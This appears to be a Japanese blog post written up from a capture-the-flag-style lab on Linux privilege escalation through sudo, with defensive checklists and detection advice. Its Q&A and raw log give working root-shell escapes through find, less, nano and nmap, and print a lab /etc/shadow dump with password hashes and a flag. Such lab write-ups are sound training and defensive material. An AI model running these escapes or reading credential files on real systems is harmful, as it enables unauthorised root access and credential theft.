1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】Privilege escalation via sudo — 実戦ラボまとめ

Posted at

概要

このラボは、sudo によって限定的に付与された権限を突いて root 権限を得る典型的なパターンを学ぶためのものです。狙いどころは「管理者が意図した範囲外でコマンド機能を使ってシェルを得る」こと。代表的な着眼点は次の通りです:sudo -l で許可されたコマンドを確認する、アプリケーションの機能を利用する(エディタの外部コマンド実行など)、動的リンクの仕組み(LD_PRELOAD など)を利用する、そして GTFOBins のような既知のエスケープ手法を参照する。

ラボで扱った要点

  • sudo -l による権限確認:許可されたコマンド一覧(例:/usr/bin/find/usr/bin/less/usr/bin/nano)。この出力が攻撃ベクトルの出発点になります。
  • NOPASSWD 指定があるとパスワード無しで実行できるため利便性とリスクが両立します。
  • 一部のプログラムは「内部機能」で任意コマンドを実行できる(例:ファイルを開くエディタやインタラクティブモードのあるツール)。そうした機能を利用してシェルや任意コマンドを呼び出せる。
  • 環境変数を保持して LD_PRELOAD 等が渡せる設定(sudoers の env_keep)があると、動的リンクの仕組みを悪用して任意コードを実行される恐れがある。
  • GTFOBins は「sudo 付きで実行できるコマンドからシェルを得る」既知のトリック集で、調査の第一手になる(参照先を確認するのは安全な学習行為)

攻撃ベクトル(概念レベル)

  1. アプリケーション機能の悪用
    • エディタやインタラクティブツール(less, nano, find の -exec 等)が持つ機能からシェルやコマンドを実行する。
    • ポイント:そのコマンドが sudo で実行されると、実行される子プロセスは root 権限になる可能性がある。
  2. 環境変数を利用したライブラリ注入(動的リンカの仕組み)
    • LD_PRELOAD 等で任意の共有ライブラリをロードさせ、初期化ルーチン等で任意コードを実行する概念。
    • 前提として sudo が環境変数を保持する(env_keep)かつ実行バイナリの実ユーザIDと実効IDの関係が条件を満たす必要がある。
  3. GTFOBins 等既知のテクニック
    • 既知のコマンドごとの「sudo 経由でシェルを得る手順」のカタログ。まずはここを確認してからラボ演習を始めるのが効率的。

検出・監査(運用側ができること)

  • sudo のログを有効にし監視する
    • /var/log/auth.log(または監査ソリューション)を監視し、sudo 実行の頻度/異常な組み合わせをアラート化する。
  • プロセスの親子関係をログ収集する
    • sysmon/OSSEC/EDR 等でコマンドから spawn されたプロセス列を追跡し、異常なシェル起動を検出する。
  • ファイル監査(重要ファイルへのアクセス)
    • /etc/shadow やシステム設定ファイルへのアクセス試行をアラート化する。

防御策チェックリスト(優先度順)

  1. 最小権限の原則
    • ユーザに与える sudo 権限は最小に留める。不要なら NOPASSWD を付けない。
  2. sudoers の細かい制御
    • コマンドのフルパスでの限定、引数や実行元ディレクトリの制限などを検討する。
  3. 環境変数の扱いを厳格化
    • Defaults env_reset を有効にし、env_keep を必要最小限にする。LD_PRELOADLD_LIBRARY_PATH を保持しない。
  4. PATH の固定(secure_path)
    • secure_path を設定して、意図しないバイナリの実行を防ぐ。
  5. エディタやツールの制限
    • lessnano のように外部コマンドやシェル起動を可能にするツールを sudo 権限で与えない。どうしても必要ならラッパースクリプトや権限制御で機能を削ぐ。
  6. NOEXEC の活用(適用可な場合)
    • noexec を使える環境であれば検討。ただし万能ではない(バイパス方法がある)。
  7. アプリケーションのサンドボックス化
    • AppArmor/SELinux/containers などでプロセス権限を補強する。
  8. 定期的な監査とレビュー
    • sudoers の定期レビュー、権限付与手順の整備、監査ログの定期チェック。

演習の Q&A(出題と回答)

以下はこの演習で出題された質問と、その解答です(実演で得られた情報に基づく)。

Q1: user karen がターゲット上で sudo で実行できるプログラムは何個か?

A1: 3
許可されたコマンドは /usr/bin/find/usr/bin/less/usr/bin/nanosudo -l の出力による)。


Q2: /home/ubuntu/flag2.txt の中身は何か?

A2: THM-402028394(ファイル内容として演習内で確認されたフラグ)。


Q3: もし nmap に対して sudo 権限があったら、どのようにして root シェルを得られるか?(参照先)

A3: GTFOBins の nmap ページ参照が推奨される。演習での参照例は sudo nmap --interactive(GTFOBins に掲載されているテクニックの参照先を示すにとどめる)。


Q4: frank のパスワードハッシュは何か?(/etc/shadow の該当行)

A4: frank 行のハッシュは演習ファイルより以下の値(/etc/shadow の該当フィールド):

$6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HH.joV14aDEwW1c3CahzB1uaqeLR1

まとめ

  • 開発・運用チームはまず sudoers を最小化し、env_keep を見直す。
  • lessnano のような「外部コマンド実行を含む可能性のあるツール」は sudo の範囲外にするか、機能限定のラッパーを用意する。
  • 監査ログ/EDR を整備して sudo をトリガーとした疑わしいプロセススパイラルをアラート化する。

参考

GTFOBins

Log

$ sudo -l
Matching Defaults entries for karen on ip-10-201-53-60:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User karen may run the following commands on ip-10-201-53-60:
    (ALL) NOPASSWD: /usr/bin/find
    (ALL) NOPASSWD: /usr/bin/less
    (ALL) NOPASSWD: /usr/bin/nano

find / -name flag2.txt
/home/ubuntu/flag2.txt
$ cat /home/ubuntu/flag2.txt
THM-402028394


https://gtfobins.github.io/gtfobins/nmap/
sudo nmap --interactive


method1
https://gtfobins.github.io/gtfobins/find/
$ sudo find . -exec /bin/sh \; -quit

method2
https://gtfobins.github.io/gtfobins/less/
less /etc/profile
!/bin/sh

method3
https://gtfobins.github.io/gtfobins/nano/
nano -s /bin/sh
/bin/sh
^T

# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
karen:x:1001:1001::/home/karen:/bin/sh
frank:x:1002:1002::/home/frank:/bin/sh
# cat /etc/shadow
root:*:18561:0:99999:7:::
daemon:*:18561:0:99999:7:::
bin:*:18561:0:99999:7:::
sys:*:18561:0:99999:7:::
sync:*:18561:0:99999:7:::
games:*:18561:0:99999:7:::
man:*:18561:0:99999:7:::
lp:*:18561:0:99999:7:::
mail:*:18561:0:99999:7:::
news:*:18561:0:99999:7:::
uucp:*:18561:0:99999:7:::
proxy:*:18561:0:99999:7:::
www-data:*:18561:0:99999:7:::
backup:*:18561:0:99999:7:::
list:*:18561:0:99999:7:::
irc:*:18561:0:99999:7:::
gnats:*:18561:0:99999:7:::
nobody:*:18561:0:99999:7:::
systemd-network:*:18561:0:99999:7:::
systemd-resolve:*:18561:0:99999:7:::
systemd-timesync:*:18561:0:99999:7:::
messagebus:*:18561:0:99999:7:::
syslog:*:18561:0:99999:7:::
_apt:*:18561:0:99999:7:::
tss:*:18561:0:99999:7:::
uuidd:*:18561:0:99999:7:::
tcpdump:*:18561:0:99999:7:::
sshd:*:18561:0:99999:7:::
landscape:*:18561:0:99999:7:::
pollinate:*:18561:0:99999:7:::
ec2-instance-connect:!:18561:0:99999:7:::
systemd-coredump:!!:18796::::::
ubuntu:!:18796:0:99999:7:::
lxd:!:18796::::::
karen:$6$QHTxjZ77ZcxU54ov$DCV2wd1mG5wJoTB.cXJoXtLVDZe1Ec1jbQFv3ICAYbnMqdhJzIEi3H4qyyKO7T75h4hHQWuWWzBH7brjZiSaX0:18796:0:99999:7:::
frank:$6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HH.joV14aDEwW1c3CahzB1uaqeLR1:18796:0:99999:7:::
# 


1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?